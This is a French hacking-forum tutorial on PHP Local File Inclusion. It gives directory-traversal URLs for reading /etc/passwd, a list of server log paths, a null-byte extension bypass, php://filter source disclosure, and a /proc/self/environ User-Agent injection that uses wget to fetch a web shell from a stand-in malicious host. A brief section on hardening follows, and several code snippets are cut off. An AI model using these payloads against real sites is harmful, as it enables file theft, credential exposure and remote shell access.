[Faille WEB] LFI
|
10-10-2012, 22h14
(Modification du message : 25-02-2013, 21h35 par Swissky.)
Message : #1
|
|
Swissky
Bon membre Messages : 523 Sujets : 32 Points: 96 Inscription : Apr 2012 |
[Faille WEB] LFI
Local File Include
I) DéfinitionLa "Local File Include" aussi appelée LFI, consiste à inclure un fichier du serveur sur lequel est hébergé le site vulnérable grâce à un problème de sécurité dans le code PHP. II) Exploitation Théorique Avant de pratiquer la faille, on va d'abord voir comment elle fonctionne. Voici comment on va procéder: Modification d'une variable via GET ou POST -> Inclusion du fichier correspondant à la variable. On pourrait par exemple l'utiliser pour inclure un .htpasswd ou bien ajouter un shell sur le serveur III) Exploitation en local On va maintenant faire une exploitation de cette faille en local, pour cela, vous devez avoir : - WAMP - Windows - Quelques connaissances en PHP Tout d'abords créons le fichier php : index.php contenant le code : Code PHP : <?php Maintenant si on cherche à inclure la page: poc.txt on utiliseras l'URL : http://localhost/sec/index.php?page=poc.txt Et le contenu de la page s'affichera. Maintenant ajoutez un fichier : .htpasswd, dans un dossier nommé "htprotect": contenant id:pass, et incluez le avec : Code PHP : http://localhost/sec/index.php?page=htprotect/.htpasswd Dernier test, on va inclure des fichiers spécifiques au serveur : Sous Windows , on tentera d'afficher le fichier HOST Code PHP : http://localhost/sec/index.php?page=../../../windows/system32/drivers/etc/hosts Citation :# Copyright © 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name. Sous Linux On tentera d'afficher les mots de passe des utilisateurs du serveurs contenu dans /etc/passwd. Code PHP : http://localhost/sec/index.php?page=../../../etc/passwd username: passwd:UID:GID:full_name:directoryhell Voici un exemple réel que j'ai piqué sur challenge : Code : root:x:0:0:root:/root:/usr/local/bin/sudosh bin:x:1:1:bin:/bin:/bin/false daemon:x:2:2:daemon:/sbin:/bin/false adm:x:3:4:adm:/var/adm:/bin/false lp:x:4:7:lp:/var/spool/lpd:/bin/false Voici quelques emplacements clefs sur un serveur: ../apache/logs/error.log ../apache/logs/access.log ../../apache/logs/error.log ../../apache/logs/access.log ../../../apache/logs/error.log ../../../apache/logs/access.log ../../../../../../../etc/httpd/logs/acces_log ../../../../../../../etc/httpd/logs/acces.log ../../../../../../../etc/httpd/logs/error_log ../../../../../../../etc/httpd/logs/error.log ../../../../../../../var/www/logs/access_log ../../../../../../../var/www/logs/access.log ../../../../../../../usr/local/apache/logs/access_ log ../../../../../../../usr/local/apache/logs/access. log ../../../../../../../var/log/apache/access_log ../../../../../../../var/log/apache2/access_log ../../../../../../../var/log/apache/access.log ../../../../../../../var/log/apache2/access.log ../../../../../../../var/log/access_log ../../../../../../../var/log/access.log ../../../../../../../var/www/logs/error_log ../../../../../../../var/www/logs/error.log ../../../../../../../usr/local/apache/logs/error_l og ../../../../../../../usr/local/apache/logs/error.l og ../../../../../../../var/log/apache/error_log ../../../../../../../var/log/apache2/error_log ../../../../../../../var/log/apache/error.log ../../../../../../../var/log/apache2/error.log ../../../../../../../var/log/error_log ../../../../../../../var/log/error.log IV)Bypasser les scripts d'extension Certains Webmasters tentent de mettre en place des filtres afin de bloquer cette faille, on retrouve assez souvent le filtre d'extension ci-dessous : Code PHP : <?php include($_GET['page'].".php");?> En exemple :http://url.com/fichier_avec_autre_extension%00 Ainsi le serveur arretea la requete au %00 et la vérification d'extension ne s'appliquera donc pas. V) Technique du Proc/Self/Environ Le fichier environ sous Linux est un fichier qui contient des logs sur les utilisateurs comme leur User_Agent, leur IP etc.. Le but du jeu est d'afficher son contenu puis ensuite de modifier une des variables qu'il contient : Code : http://exemple.com/index.php?page=../../proc/self/environ Code PHP : <?php phpinfo();?> Etape 2 : On vérifie que la commande "exec" de PHP n'est pas bloquée par l'administrateur système en regardant dans la colonne disable_function du PHP Info, dans le cas où celle-ci est désactivée on trouvera un équivalent, il en existe beaucoup dans PHP. Etape 3 : On modifie une dernière fois notre User_Agent en : Code PHP : <?exec('wget http://www.sitemalveillant.org/shell.txt -O shell.php');?> VI) La technique des filtres Il existe aussi d'autre moyens pour exploiter une LFI , cette fois-ci nous ne nous concentrons plus sur l'inclusion d'une page contenant des informations particulière, on va simplement afficher l'intégralité du code source d'une page (HTML CSS et PHP). Cette technique devient redoutable lorsque le site se connecte à une base de données car les identifiants se trouvent dans le code source de la page. Prenons pour exemple le site : Code : http://sitevulnérable.com/index.php?page=lfi_exploit il a pour effet d'afficher le code source de la page en base64. L'url devient donc : Code : http://sitevulnérable.com/index.php?page=php://filter/convert.base64-encode/resource=index.php Code : QnJhdm8lMkMlMjB2b3VzJTIwYXZleiUyMGNvbXByaXMlMjBsZSUyMHByaW5jaXBlJTIwZHUlMjBkJUU5Y29kYWdlJTIwZGUlMjBsYSUyMEJhc2U2NA== VII) Sécurisation On pourrait sécuriser un site vulnérable de différentes façon, par exemple en bloquant les caractères comme "/" ou bien en listant dans un tableau toutes les pages accessibles à un utilisateurs lambda, afin de bloquer une include sur une page qui ne devrait pas être incluse. Voici un exemple de script pour la méthode avec le tableau: Code PHP : <?php Ainsi que pour la méthode consistant à bloquer des caractères : Code PHP : <?php Mis à jour le : 25/02/2013 Ajout de : - Technique des filtres - Technique du Proc/Self/Environ Source: http://hakipedia.com/index.php/Local_File_Inclusion http://www.techgaun.com/2010/10/local-fi...l-for.html Khaled, Kaizo, Luxerails , => Membre de N-PN, merci |
|
« Sujet précédent | Sujet suivant »
|
Messages dans ce sujet |
[Faille WEB] LFI - par Swissky - 10-10-2012, 22h14
RE: [Faille WEB] LFI - par kallimero - 10-10-2012, 22h24
RE: [Faille WEB] LFI - par Swissky - 10-10-2012, 22h28
RE: [Faille WEB] LFI - par Luxerails - 10-10-2012, 23h06
RE: [Faille WEB] LFI - par Swissky - 11-10-2012, 06h51
RE: [Faille WEB] LFI - par InstinctHack - 11-10-2012, 11h15
RE: [Faille WEB] LFI - par kaizo - 11-10-2012, 12h32
RE: [Faille WEB] LFI - par Luxerails - 11-10-2012, 19h12
RE: [Faille WEB] LFI - par Swissky - 11-10-2012, 20h04
RE: [Faille WEB] LFI - par Swissky - 25-02-2013, 21h39
RE: [Faille WEB] LFI - par InstinctHack - 25-02-2013, 22h04
|
Sujets apparemment similaires… | |||||
Sujet | Auteur | Réponses | Affichages | Dernier message | |
Comment exploiter une faille SQL Injection | CyberSee | 33 | 3,615 |
22-09-2015, 21h53 Dernier message: CyberSee |
|
Comment est exploitée une faille XSS | CyberSee | 37 | 3,587 |
01-09-2015, 16h07 Dernier message: CyberSee |
|
[Tuto]Faille CRLF | OverDreams | 15 | 1,312 |
18-06-2013, 12h33 Dernier message: Hypnoze57 |
|
[Faille Web] Full Path Disclosure | Swissky | 4 | 590 |
07-12-2012, 08h52 Dernier message: Shirobi |
Utilisateur(s) parcourant ce sujet : 4 visiteur(s)